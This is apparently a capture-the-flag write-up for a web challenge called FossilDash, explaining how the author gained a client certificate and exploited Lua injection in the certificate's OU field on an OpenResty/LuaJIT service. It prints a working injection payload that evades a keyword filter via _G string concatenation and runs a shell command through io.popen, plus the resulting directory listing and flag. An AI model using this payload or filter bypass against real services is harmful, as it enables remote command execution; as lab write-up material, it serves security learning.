Difficulty
medium
Categories
web
Description

The Dinosaur Research Network just launched FossilDash, a collaborative platform where researchers share fossil discoveries. Access requires a valid researcher certificate.

Can you find a way to dig up the flag?

Author
0x90
Service
Challenge has a remote instance.
LLM Usage
Claude rewrote the POW solver in rust for me.

Overview

The challenge exposes an HTTPS endpoint with a self-signed certificate.

We need to submit a CSR with some constraints in order to issue a client certificate:

To access the Dinosaur Research Network, you need a certificate signed by our CA. Generate a CSR with your institution details and paste it below. Enrollment requires a proof-of-work to prevent abuse.

Every time a certificate needs to be issued, a proof-of-work has to be submitted. I just let an LLM rewrite the very slow PoW script in rust and I could solve them within less than a second. Attempting a solve was still a pain, because the website also did some heavy rate-limiting.

I used mitmdump to easily access the challenge with a valid cert in my browser:

mitmdump --mode reverse:https://challs.qualifier.swiss-hacking-challenge.ch:30983/ --set client_certs=client_bundle.crt --ssl-insecure

Solution

When issuing a certificate, we need to follow some constraints:

  • O must be set to one of the allowed values (OST, ZHW, ETH, EPFL, HSLU, UNIGE)
  • CN can only contain a limited amount of characters
  • OU seems unrestricted

After successfully issuing a cert, we can see information about our user on the dashboard. Additionally, we can post research notes, which show the OU field next to the username. At some point, I realized that using quotes in the OU field show up as

~err: unfinished string near '<eof>'~,

The dashboard page shows Platform: OpenResty / LuaJIT. So probably, we’re dealing with Lua injection here.

When trying to build a payload, I realized that some keywords are blocked for the DN:

{"error":"Organizational unit contains restricted term."}

Long story short, we can just use _G['function_' .. 'name'] to bypass it.

Using "/OU='.._G['io']['p'..'open']('ls -al'):read('*all')..'/O=ETH/CN=meow" as the DN, we get:

meow — total 16 drwxr-xr-x 1 root root 55 Apr 24 14:21
 . drwxr-xr-x 1 root root 55 Apr 24 14:21
 .. drwxr-xr-x 1 root root 4096 Mar 25 18:37
 bin drwxr-xr-x 5 root root 340 Apr 24 14:21
 dev -rwxr-xr-x 1 root root 112 Mar 27 15:04
 entrypoint.sh drwxr-xr-x 1 root root 25 Apr 24 14:21
 etc -r--r--r-- 1 root root 46 Apr 24 14:21
 flag.txt drwxr-xr-x 2 root root 6 Jan 27 21:20
 home drwxr-xr-x 1 root root 17 Jan 27 21:20
 lib drwxr-xr-x 5 root root 44 Jan 27 21:20
 media drwxr-xr-x 2 root root 6 Jan 27 21:20
 mnt drwxr-xr-x 2 root root 6 Jan 27 21:20
 opt dr-xr-xr-x 273 root root 0 Apr 24 14:21
 proc drwx------ 2 root root 6 Jan 27 21:20
 root drwxr-xr-x 1 root root 23 Mar 25 18:37
 run drwxr-xr-x 2 root root 4096 Jan 27 21:20
 sbin drwxr-xr-x 2 root root 6 Jan 27 21:20
 srv dr-xr-xr-x 13 root root 0 Mar 1 19:38
 sys drwxrwxrwt 1 root root 20 Apr 24 14:21
 tmp drwxr-xr-x 1 root root 19 Mar 25 18:37
 usr drwxr-xr-x 1 root root 19 Jan 27 21:20
 var , 24.4.2026, 16:22:37

So, all that is left is to get the flag:


Flag:

dach2026{0h_y35_w3_4ll_l0v3_d1n05_34b8514b48}